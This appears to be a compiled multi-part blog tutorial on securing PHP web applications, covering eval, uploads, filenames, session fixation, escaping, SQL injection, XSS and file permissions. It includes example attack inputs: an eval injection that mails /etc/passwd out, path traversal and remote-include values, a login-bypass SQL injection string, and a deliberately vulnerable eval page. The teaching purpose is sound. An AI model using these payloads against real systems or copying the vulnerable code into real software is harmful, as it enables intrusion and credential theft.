PHP – Securing your Web Application : PHP Code

With the eval() function, PHP allows a script to execute arbitrary PHP code. Although it can be useful in a few limited cases, allowing any user-supplied data to go into an eval() call is just begging to be hacked. For instance, the following code is a security nightmare:

<html>
<head>
<title>Here are the keys...</title>
</head>
<body>
	<?php if ($_REQUEST['code']) {
		echo "Executing code...";
		eval(stripslashes($_REQUEST['code'])); // BAD!
	} ?>

	<form action="<?php echo $_SERVER['PHP_SELF']; ?>">
		<input type="text" name="code" />
		<input type="submit" name="Execute Code" />
	</form>
</body>
</html>

This page takes some arbitrary PHP code from a form and runs it as part of the script. The running code has access to all of the global variables for the script and runs with the same privileges as the script running the code. It’s not hard to see why this is a problem—type this into the form:

include("/etc/passwd");

Never do this. There is no practical way to ensure such a script can ever be secure. You can globally disable particular function calls by listing them, separated by commas, in the disable_functions configuration option in php.ini. For example, you may never have need for the system() function, so you can disable it entirely with:

disable_functions = system

This doesn’t make eval() any safer, though, as there’s no way to prevent important variables from being changed or built-in constructs such as echo() being called.

Note that the preg_replace() function with the /e option also calls eval() on PHP code, so don’t use user-supplied data in the replacement string.

In the case of include, require, include_once, and require_once, your best bet is to turn off remote file access using allow_url_fopen.

Any use of eval() and the /e option with preg_replace() is dangerous, especially if you use any user-entered data in the calls. Consider the following:

eval("2 + {$userInput}");

It seems pretty innocuous. However, suppose the user enters the following value:

2; mail("l33t@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");

In this case, both the expected command and the one you’d rather avoid will be executed. The only viable solution is to never give user-supplied data to eval().

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : File Uploads

File uploads combine two dangers we’ve already discussed: user-modifiable data and the filesystem. While PHP 5 itself is secure in how it handles uploaded files, there are several potential traps for unwary programmers.

Distrust Browser-Supplied Filenames Be careful using the filename sent by the browser. If possible, do not use this as the name of the file on your filesystem. It’s easy to make the browser send a file identified as /etc/passwd or /home/rasmus/.forward. You can use the browser-supplied name for all user interaction, but generate a unique name yourself to actually call the file. For example:

$browserName = $_FILES['image']['name'];
$tempName = $_FILES['image']['tmp_name'];

echo "Thanks for sending me {$browserName}.";
$counter++; // persistent variable
$filename = "image_{$counter}";
if (is_uploaded_file($tempName)) {
	move_uploaded_file($tempName, "/web/images/{$filename}");
}
else {
	die("There was a problem processing the file.");
}

Beware of Filling Your Filesystem

Another trap is the size of uploaded files. Although you can tell the browser the maximum size of file to upload, this is only a recommendation and does not ensure your script won’t be handed a file of a larger size. Attackers can perform a denial of service attack by sending files large enough to fill up your server’s filesystem.

Set the post_max_size configuration option in php.ini to the maximum size (in bytes) that you want:

post_max_size = 1024768 ; one megabyte

PHP will ignore requests with data payloads larger than this size. The default 10 MB is probably larger than most sites require.

Surviving  register_globals

The default variables_order processes GET and POST parameters before cookies. This makes it possible for the user to send a cookie that overwrites the global variable you think contains information on your uploaded file. To avoid being tricked like this, check that the given file was actually an uploaded file using the is_uploaded_file() function. For example:

$uploadFilepath = $_FILES['uploaded']['tmp_name'];

if (is_uploaded_file($uploadFilepath)) {
	$fp = fopen($uploadFilepath, 'r');
	if ($fp) {
		$text = fread($fp, filesize($uploadFilepath));
		fclose($fp);

		// do something with the file's contents
	}
}

PHP provides a move_uploaded_file() function that moves the file only if it was an uploaded file. This is preferable to moving the file directly with a system-level function or PHP’s copy() function. For example, the following code cannot be fooled by cookies:

move_uploaded_file($_REQUEST['file'], "/new/name.txt");

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : Session Fixation

A very popular attack that targets sessions is session fixation. The primary reason behind its popularity is that it’s the easiest method by which an attacker can obtain a valid session identifier. As such, its intended use is as a stepping-stone to a session hijacking attack, impersonating a user by presenting the user’s session identifier.

Session fixation is any approach that causes a victim to use a session identifier chosen by an attacker. The simplest example is a link with an embedded session identifier:

<a href="http://host/login.php?PHPSESSID=1234">Log In</a>

A victim who clicks this link will resume the session identified as 1234, and if the victim proceeds to log in, the attacker can hijack the victim’s session to escalate his level of privilege.

There are a few variants of this attack, including some that use cookies for this same purpose. Luckily, the safeguard is simple, straightforward, and consistent. Whenever there is a change in the level of privilege, such as when a user logs in, regenerate the session identifier with session_regenerate_id():

if (check_auth($_POST['username'], $_POST['password'])) {
	$_SESSION['auth'] = TRUE;
	session_regenerate_id();
}

This effectively prevents session fixation attacks by ensuring that any user who logs in (or otherwise escalates the privilege level in any way) is assigned a fresh, random session identifier.

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : Filenames

It’s fairly easy to construct a filename that refers to something other than what you intended. For example, say you have a $username variable that contains the name the user wants to be called, which the user has specified through a form field. Now let’s say you want to store a welcome message for each user in the directory /usr/local/lib/ greetings so that you can output the message any time the user logs in to your application.

The code to print the current user’s greeting is:

include("/usr/local/lib/greetings/{$username}");

This seems harmless enough, but what if the user chose the username ” ../../../../etc/passwd“? The code to include the greeting now includes this relative path instead: /etc/passwd. Relative paths are a common trick used by hackers against unsuspecting scripts.

Another trap for the unwary programmer lies in the way that, by default, PHP can open remote files with the same functions that open local files. The fopen() function and anything that uses it (e.g., include() and require()) can be passed an HTTP or FTP URL as a filename, and the document identified by the URL will be opened. For example:

chdir("/usr/local/lib/greetings");

$fp = fopen($username, 'r');

If $username is set to http://www.example.com/myfile, a remote file is opened, not a local one.

The situation is even worse if you let the user tell you which file to include():

$file = $_REQUEST['theme'];

include($file);

If the user passes a theme parameter of http://www.example.com/badcode.inc and your variables_order includes GET or POST, your PHP script will happily load and run the remote code. Never use parameters as filenames like this.

There are several solutions to the problem of checking filenames. You can disable remote file access, check filenames with realpath() and basename(), and use the open_basedir option to restrict filesystem access outside your site’s document root.

Check for relative paths

When you need to allow the user to specify a filename in your application, you can use a combination of the realpath() and basename() functions to ensure that the filename is what it ought to be. The realpath() function resolves special markers such as .and … After a call to realpath(), the resulting path is a full path on which you can then use basename(). The basename() function returns just the filename portion of the path.

Going back to our welcome message scenario, here’s an example of realpath() and basename() in action:

$filename = $_POST['username'];
$vetted = basename(realpath($filename));

if ($filename !== $vetted) {
	die("{$filename} is not a good username");
}

In this case, we’ve resolved $filename to its full path and then extracted just the filename. If this value doesn’t match the original value of $filename, we’ve got a bad filename that we don’t want to use.

Once you have the completely bare filename, you can reconstruct what the file path ought to be, based on where legal files should go, and add a file extension based on the actual contents of the file:

include("/usr/local/lib/greetings/{$filename}");

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : Escape Output

Escaping is a technique that preserves data as it enters another context. PHP is frequently used as a bridge between disparate data sources, and when you send data to a remote source, it’s your responsibility to prepare it properly so that it’s not misinterpreted.

For example, O’Reilly is represented as O\’Reilly when used in an SQL query to be sent to a MySQL database. The backslash before the single quote exists to preserve the single quote in the context of the SQL query. The single quote is part of the data, not part of the query, and the escaping guarantees this interpretation.

The two predominant remote sources to which PHP applications send data are HTTP clients (web browsers) that interpret HTML, JavaScript, and other client-side technologies, and databases that interpret SQL. For the former, PHP provides htmlentities():

$html = array();
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";

This example demonstrates the use of another naming convention. The $html array is similar to the $clean array, except that its purpose is to hold data that is safe to be used in the context of HTML.

URLs are sometimes embedded in HTML as links:

<a href="http://host/script.php?var={$value}">Click Here</a>

In this particular example, $value exists within nested contexts. It’s within the query string of a URL that is embedded in HTML as a link. Because it’s alphabetic in this case, it’s safe to be used in both contexts. However, when the value of $var cannot be guaranteed to be safe in these contexts, it must be escaped twice:

$url = array(
	'value' => urlencode($value),
);

$link = "http://host/script.php?var={$url['value']}";
$html = array(
	'link' => htmlentities($link, ENT_QUOTES, 'UTF-8'),
);

echo "<a href=\"{$html['link']}\">Click Here</a>";

This ensures that the link is safe to be used in the context of HTML, and when it is used as a URL (such as when the user clicks the link), the URL encoding ensures that the value of $var is preserved.

For most databases, there is a native escaping function specific to the database. For example, the MySQL extension provides mysqli_real_escape_string():

$mysql = array(
	'username' => mysqli_real_escape_string($clean['username']),
);

$sql = "SELECT * FROM profile
	WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);

An even safer alternative is to use a database abstraction library that handles the escaping for you. The following illustrates this concept with PEAR::DB:

$sql = "INSERT INTO users (last_name) VALUES (?)";

$db->query($sql, array($clean['last_name']));

Although this is not a complete example, it highlights the use of a placeholder (the question mark) in the SQL query. PEAR::DB properly quotes and escapes the data according to the requirements of your database.

A more complete output-escaping solution would include context-aware escaping for HTML elements, HTML attributes, JavaScript, CSS, and URL content, and would do so in a Unicode-safe manner. Here in Example, is a sample class for escaping output in a variety of contexts, based on the content-escaping rules defined by the Open Web Application Security Project.

class Encoder
{
	const ENCODE_STYLE_HTML = 0;
	const ENCODE_STYLE_JAVASCRIPT = 1;
	const ENCODE_STYLE_CSS = 2;
	const ENCODE_STYLE_URL = 3;
	const ENCODE_STYLE_URL_SPECIAL = 4;
	private static $URL_UNRESERVED_CHARS =
	'ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz-_.~';

	public function encodeForHTML($value)
	{
		$value = str_replace('&', '&amp;', $value);
		$value = str_replace('<', '&lt;', $value);
		$value = str_replace('>', '&gt;', $value);
		$value = str_replace('"', '&quot;', $value);
		$value = str_replace('\'', '&#x27;', $value); // &apos; is not recommended
		$value = str_replace('/', '&#x2F;', $value); // forward slash can help end HTML entity
		return $value;
	}

	public function encodeForHTMLAttribute($value)
	{
		return $this->_encodeString($value);
	}

	public function encodeForJavascript($value)
	{
		return $this->_encodeString($value, self::ENCODE_STYLE_JAVASCRIPT);
	}

	public function encodeForURL($value)
	{
		return $this->_encodeString($value, self::ENCODE_STYLE_URL_SPECIAL);
	}

	public function encodeForCSS($value)
	{
		return $this->_encodeString($value, self::ENCODE_STYLE_CSS);
	}

	/**
	* Encodes any special characters in the path portion of the URL. Does not
	* modify the forward slash used to denote directories. If your directory
	* names contain slashes (rare), use the plain urlencode on each directory
	* component and then join them together with a forward slash.
	*
	* Based on http://en.wikipedia.org/wiki/Percent-encoding and
	* http://tools.ietf.org/html/rfc3986
	*/

	public function encodeURLPath($value)
	{
		$length = mb_strlen($value);
		if ($length == 0) {
			return $value;
		}

		$output = '';
		for ($i = 0; $i < $length; $i++) {
			$char = mb_substr($value, $i, 1);
			if ($char == '/') {
				// Slashes are allowed in paths.
				$output .= $char;
			}
			else if (mb_strpos(self::$URL_UNRESERVED_CHARS, $char) == false) {
				// It's not in the unreserved list so it needs to be encoded.
				$output .= $this->_encodeCharacter($char, self::ENCODE_STYLE_URL);
			}
			else {
				// It's in the unreserved list so let it through.
				$output .= $char;
			}

		}
		return $output;
	}

	private function _encodeString($value, $style = self::ENCODE_STYLE_HTML)
	{
		if (mb_strlen($value) == 0) {
			return $value;
		}

		$characters = preg_split('/(?<!^)(?!$)/u', $value);
		$output = '';
		foreach ($characters as $c) {
			$output .= $this->_encodeCharacter($c, $style);
		}
		return $output;
	}

	private function _encodeCharacter($c, $style = self::ENCODE_STYLE_HTML)
	{
		if (ctype_alnum($c)) {
			return $c;
		}

		if (($style === self::ENCODE_STYLE_URL_SPECIAL) && ($c == '/' || $c == ':')) {
			return $c;
		}
		$charCode = $this->_unicodeOrdinal($c);
		$prefixes = array(
			self::ENCODE_STYLE_HTML => array('&#x', '&#x'),
			self::ENCODE_STYLE_JAVASCRIPT => array('\\x', '\\u'),
			self::ENCODE_STYLE_CSS => array('\\', '\\'),
			self::ENCODE_STYLE_URL => array('%', '%'),
			self::ENCODE_STYLE_URL_SPECIAL => array('%', '%'),
		);

		$suffixes = array(
			self::ENCODE_STYLE_HTML => ';',
			self::ENCODE_STYLE_JAVASCRIPT => '',
			self::ENCODE_STYLE_CSS => '',
			self::ENCODE_STYLE_URL => '',
			self::ENCODE_STYLE_URL_SPECIAL => '',
		);

		// if ASCII, encode with \\xHH
		if ($charCode < 256) {
			$prefix = $prefixes[$style][0];
			$suffix = $suffixes[$style];
			return $prefix . str_pad(strtoupper(dechex($charCode)), 2, '0') . $suffix;
		}

		// otherwise encode with \\uHHHH
		$prefix = $prefixes[$style][1];
		$suffix = $suffixes[$style];
		return $prefix . str_pad(strtoupper(dechex($charCode)), 4, '0') . $suffix;
	}

	private function _unicodeOrdinal($u)
	{
		$c = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
		$c1 = ord(substr($c, 0, 1));
		$c2 = ord(substr($c, 1, 1));
		return $c2 * 256 + $c1;
	}

}

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : SQL Injection

The second most common web application vulnerability is SQL injection, an attack very similar to XSS. The difference is that SQL injection vulnerabilities exist wherever you use un-escaped data in an SQL query. (If these names were more consistent, XSS would probably be called HTML injection.)

The following example demonstrates an SQL injection vulnerability:

$hash = hash($_POST['password']);

$sql = "SELECT count(*) FROM users
		WHERE username = '{$_POST['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

The problem is that without escaping the username, its value can manipulate the format of the SQL query. Because this particular vulnerability is so common, many attackers try usernames such as the following when trying to log in to a target site:

chris' --

I often joke that this is my favorite username, because it allows access to the account with the username chris’ without me having to know that account’s password. After interpolation, the SQL query becomes:

SELECT count(*)
FROM users
WHERE username = 'chris' --'
AND password = '...'";

Because two consecutive hyphens (–) indicate the beginning of an SQL comment, this query is identical to:

SELECT count(*)
FROM users
WHERE username = 'chris'

If the code containing this snippet of code assumes a successful login when $result is nonzero, this SQL injection would allow an attacker to log in to any account without having to know or guess the password.

Safeguarding your applications against SQL injection is primarily accomplished by escaping output:

$mysql = array();
$hash = hash($_POST['password']);

$mysql['username'] = mysql_real_escape_string($clean['username']);
$sql = "SELECT count(*) FROM users
        WHERE username = '{$mysql['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

However, this only assures that the data you escape is interpreted as data. You still need to filter data, because characters like the percent sign (%) have a special meaning in SQL but they don’t need to be escaped.

The best protection against SQL injection is the use of bound parameters. The following example demonstrates the use of bound parameters with PHP’s PDO extension and an Oracle database:

$sql = $db->prepare("SELECT count(*) FROM users
		WHERE username = :username AND password = :hash");

$sql->bindParam(":username", $clean['username'], PDO::PARAM_STRING, 32);
$sql->bindParam(":hash", hash($_POST['password']), PDO::PARAM_STRING, 32);

Because bound parameters ensure that the data never enters a context where it can be considered anything but data (i.e., it’s never misinterpreted), no escaping of the username and password is necessary.
Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : Cross-Site Scripting

Previous in this series we learn how to securely filter the input and store in the database. Here I will let you know how prevent Cross-Site Scripting.

What is Cross-Site Scripting?

Cross-site scripting (XSS) has become the most common web application security vulnerability, and with the rising popularity of Ajax technologies, XSS attacks are likely to become more advanced and to occur more frequently.

The term cross-site scripting derives from an old exploit and is no longer very descriptive or accurate for most modern attacks, and this has caused some confusion.

Simply put, your code is vulnerable whenever you output data not properly escaped to the output’s context. For example:

echo $_POST['username'];

This is an extreme example, because $_POST is obviously neither filtered nor escaped, but it demonstrates the vulnerability.

XSS attacks are limited to only what is possible with client-side technologies. Historically, XSS has been used to capture a victim’s cookies by taking advantage of the fact that document.cookie contains this information.

Preventing XSS

In order to prevent XSS, you simply need to properly escape your output for the output context:

$html = array(
	'username' => htmlentities($_POST['username'], ENT_QUOTES, 'UTF-8'),
);

echo $html['username'];

You should also always filter your input, and filtering can offer a redundant safeguard in some cases (implementing redundant safeguards adheres to a security principle known as Defense in Depth). For example, if you inspect a username to ensure it’s alphabetic and also only output the filtered username, no XSS vulnerability exists.

Just be sure that you don’t depend upon filtering as your primary safeguard against XSS, because it doesn’t address the root cause of the problem.

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : Filter Input

Previously in this series we see why security is important for PHP web application and extension we develop for various CMS. In this article we we learn how we can filter the input from user and securely use the input.

One of the most fundamental things to understand when developing a secure site is this: all information not generated within the application itself is potentially tainted. This includes data from forms, files, and databases.

When data is described as being tainted, this doesn’t mean it’s necessarily malicious. It means it might be malicious. You can’t trust the source, so you should inspect it to make sure it’s valid. This inspection process is called filtering, and you only want to allow valid data to enter your application.

There are a few best practices regarding the filtering process:

  • Use a whitelist approach. This means you err on the side of caution and assume data to be invalid unless you can prove it to be valid.
  • Never correct invalid data. History has proven that attempts to correct invalid data often result in security vulnerabilities due to errors.
  • Use a naming convention to help distinguish between filtered and tainted data. Filtering is useless if you can’t reliably determine whether something has been filtered.

In order to solidify these concepts, consider a simple HTML form allowing a user to select among three colors:

<form action="process.php" method="POST">
	<p>Please select a color:

	<select name="color">
		<option value="red">red</option>
		<option value="green">green</option>
		<option value="blue">blue</option>
	</select>

	<input type="submit" /></p>
</form>

It’s easy to appreciate the desire to trust $_POST['color'] in process.php. After all, the form seemingly restricts what a user can enter. However, experienced developers know HTTP requests have no restriction on the fields they contain—client-side validation is never sufficient by itself. There are numerous ways malicious data can be sent to your application, and your only defense is to trust nothing and filter your input:

$clean = array();

switch($_POST['color']) {
	case 'red':
	case 'green':
	case 'blue':
		$clean['color'] = $_POST['color'];
		break;
	default:
		/* ERROR */
	break;
}

This example demonstrates a simple naming convention. You initialize an array called $clean. For each input field, validate the input and store the validated input into the array. This reduces the likelihood of tainted data being mistaken for filtered data, because you should always err on the side of caution and consider everything not stored in this array to be tainted.

Your filtering logic depends entirely upon the type of data you’re inspecting, and the more restrictive you can be, the better. For example, consider a registration form that asks the user to provide a desired username. Clearly, there are many possible usernames, so the previous example doesn’t help. In these cases, the best approach is to filter based on format. If you want to require a username to be alphanumeric (consisting of only alphabetic and numeric characters), your filtering logic can enforce this:

$clean = array();

if (ctype_alnum($_POST['username'])) {
	$clean['username'] = $_POST['username'];
}
else {
	/* ERROR */
}

Of course, this doesn’t ensure any particular length. Use mb_strlen() to inspect a string’s length and enforce a minimum and maximum:

$clean = array();

$length = mb_strlen($_POST['username']);

if (ctype_alnum($_POST['username']) && ($length > 0) && ($length <= 32)) {
	$clean['username'] = $_POST['username'];
}
else {
	/* ERROR */
}

Frequently, the characters you want to allow don’t all belong to a single group (such as alphanumeric), and this is where regular expressions can help. For example, consider the following filtering logic for a last name:

$clean = array();

if (preg_match('/[^A-Za-z \'\-]/', $_POST['last_name'])) {
	/* ERROR */
}
else {
	$clean['last_name'] = $_POST['last_name'];
}

This only allows alphabetic characters, spaces, hyphens, and single quotes (apostrophes), and it uses a whitelist approach as described earlier. In this case, the whitelist is the list of valid characters.

In general, filtering is a process that ensures the integrity of your data. Although filtering alone can prevent many web application security vulnerabilities, most are due to a failure to escape data, and neither is a substitute for the other.

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

 

PHP – Securing your Web Application : Introduction

With increasing use of PHP language, It is very important to develop code with no security problems. Now a days, PHP language is used many application and CMSs like WordPress, Magento, OpenCart, Drupal, Joomla etc. These all CMSs provide is own security. But problem is when we create custom plugins and extension to extends the features of CMS. Developer needs to take care of many security threats and make code very with security provided. Here I will show many security threats in PHP code and How to overcome of these security threats.

PHP is a flexible language with hooks into just about every API offered on the machines on which it runs. Because it was designed to be a forms-processing language for HTML pages, PHP makes it easy to use form data sent to a script. Convenience is a doubleedged sword, however. The very features that allow you to quickly write programs in PHP can open doors for those who would break into your systems.

PHP itself is neither secure nor insecure. The security of your web applications is entirely determined by the code you write. For example, if a script opens a file whose name is passed to the script as a form parameter, that script could be given a remote URL, an absolute pathname, or even a relative path, allowing it to open a file outside the site’s document root. This could expose your password file or other sensitive information.

This series of tutorial takes a pragmatic approach and covers a distilled selection of topics related to security, including how to protect your applications from the most common and dangerous attacks. Here is the list what I am going to cover in these series.

  • Filter Input
  • Cross-Site Scripting
  • SQL Injection
  • Escape Output
  • Filenames
  • Session Fixation
  • File Uploads
  • File Access
  • PHP Code
  • Shell Commands

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.

PHP – Securing your Web Application : File Access

If only you and people you trust can log in to your web server, you don’t need to worry about file permissions for files used by or created by your PHP programs. However, most websites are hosted on ISP’s machines, and there’s a risk that non trusted people can read files that your PHP program creates. There are a number of techniques that you can use to deal with file permissions issues.

Restrict Filesystem Access to a Specific Directory You can set the open_basedir option to restrict access from your PHP scripts to a specific directory. If open_basedir is set in your php.ini, PHP limits filesystem and I/O functions so that they can operate only within that directory or any of its subdirectories. For example:

open_basedir = /some/path

With this configuration in effect, the following function calls succeed:

unlink("/some/path/unwanted.exe");

include("/some/path/less/travelled.inc");

But these generate runtime errors:

$fp = fopen("/some/other/file.exe", 'r');

$dp = opendir("/some/path/../other/file.exe");

Of course, one web server can run many applications, and each application typically stores files in its own directory. You can configure open_basedir on a per-virtual host basis in your httpd.conf file like this:

<VirtualHost 1.2.3.4>
ServerName domainA.com
DocumentRoot /web/sites/domainA
php_admin_value open_basedir /web/sites/domainA
</VirtualHost>

Similarly, you can configure it per directory or per URL in httpd.conf:

# by directory

<Directory /home/httpd/html/app1>
php_admin_value open_basedir /home/httpd/html/app1
</Directory>

# by URL

<Location /app2>
php_admin_value open_basedir /home/httpd/html/app2
</Location>

The open_basedir directory can be set only in the httpd.conf file, not in .htaccess files, and you must use php_admin_value to set it.

Get It Right the First Time

Do not create a file and then change its permissions. This creates a race condition, where a lucky user can open the file once it’s created but before it’s locked down. Instead, use the umask() function to strip off unnecessary permissions. For example:

umask(077); // disable ---rwxrwx

$fh = fopen("/tmp/myfile", 'w');

By default, the fopen() function attempts to create a file with permission 0666 (rw-rwrw-). Calling umask() first disables the group and other bits, leaving only 0600 (rw-------). Now, when fopen() is called, the file is created with those permissions.

Don’t Use Files

Because all scripts running on a machine run as the same user, a file that one script creates can be read by another, regardless of which user wrote the script. All a script needs to know to read a file is the name of that file.

There is no way to change this, so the best solution is to not use files to store data that should be protected; the most secure place to store data is in a database.

A complex workaround is to run a separate Apache daemon for each user. If you add a reverse proxy such as haproxy in front of the pool of Apache instances, you may be able to serve 100+ users on a single machine. Few sites do this, however, because the complexity and cost are much greater than those for the typical situation, where one Apache daemon can serve web pages for thousands of users.

Session Files

With PHP’s built-in session support, session information is stored in files. Each file is named /tmp/sess_id, where id is the name of the session and is owned by the web server user ID, usually nobody.

Because all PHP scripts run as the same user through the web server, this means that any PHP script hosted on a server can read any session files for any other PHP site. In situations where your PHP code is stored on an ISP’s server that is shared with other users’ PHP scripts, variables you store in your sessions are visible to other PHP scripts.

Even worse, other users on the server can create files in the session directory /tmp. There’s nothing preventing a user from creating a fake session file that has any variables and values he wants in it. The user can then have the browser send your script a cookie containing the name of the faked session, and your script will happily load the variables stored in the fake session file.

One workaround is to ask your service provider to configure their server to place your session files in your own directory. Typically, this means that your VirtualHost block in the Apache httpd.conf file will contain:

php_value session.save_path /some/path

If you have .htaccess capabilities on your server and Apache is configured to let you override options, you can make the change yourself.

Concealing PHP Libraries

Many a hacker has learned of weaknesses by downloading include files or data that are stored alongside HTML and PHP files in the web server’s document root. To prevent this from happening to you, all you need to do is store code libraries and data outside the server’s document root.

For example, if the document root is /home/httpd/html, everything below that directory can be downloaded through a URL. It is a simple matter to put your library code, configuration files, logfiles, and other data outside that directory (e.g., in /usr/local/lib/myapp). This doesn’t prevent other users on the web server from accessing those files but it does prevent the files from being downloaded by remote users.

If you must store these auxiliary files in your document root, you should configure the web server to deny requests for those files. For example, this tells Apache to deny requests for any file with the .inc extension, a common extension for PHP include files:

<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>

A better and more preferred way to prevent downloading of PHP source files is to always use the .php extension.

If you store code libraries in a different directory from the PHP pages that use them, you’ll need to tell PHP where the libraries are. Either give a path to the code in each include() or require(), or change include_path in php.ini:

include_path = ".:/usr/local/php:/usr/local/lib/myapp";

Here is the list of of Article in this Series:

Please share the article if you like let your friends learn PHP Security. Please comment any suggestion or queries.

 

Thanks Kevin Tatroe, Peter MacIntyre and Rasmus Lerdorf. Special Thanks to O’Relly.